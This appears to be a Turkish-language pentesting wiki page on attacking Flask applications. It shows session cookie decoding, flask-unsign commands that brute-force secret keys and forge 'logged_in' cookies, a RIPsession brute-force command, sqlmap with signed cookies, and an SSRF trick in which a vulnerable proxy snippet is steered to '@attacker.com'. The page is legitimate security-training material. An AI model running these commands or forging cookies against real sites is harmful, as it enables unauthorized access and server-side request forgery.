89 lines
2.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Flask
{{#include ../../banners/hacktricks-training.md}}
**Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)** ile ilgili olacaktır.**
## Cookies
Varsayılan çerez oturum adı **`session`**.
### Decoder
Çevrimiçi Flask çerezleri çözücü: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile çözün.
```bash
echo "ImhlbGxvIg" | base64 -d
```
Çerez ayrıca bir şifre kullanılarak imzalanmıştır.
### **Flask-Unsign**
Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
#### **Çerezleri Çöz**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **İmza**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Eski sürümleri kullanarak imzalama
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Flask-unsign ile oluşturulmuş çerezleri kullanarak web sitelerini brute-force yapmak için komut satırı aracı.
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### Flask oturum çerezinde SQLi ve SQLmap
[**Bu örnek**](../../pentesting-web/sql-injection/sqlmap/index.html#eval), bilinen bir gizli anahtar kullanarak Flask için sqlmap yüklerini **otomatik olarak imzalamak** üzere sqlmap `eval` seçeneğini kullanır.
## Flask Proxy ile SSRF
[**Bu yazıda**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Aşağıdaki senaryoda:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Şeytanın bir **SSRF** oluşturmasına neden olmak için "@attacker.com" gibi bir şeyin tanıtılmasına izin verebilir.
{{#include ../../banners/hacktricks-training.md}}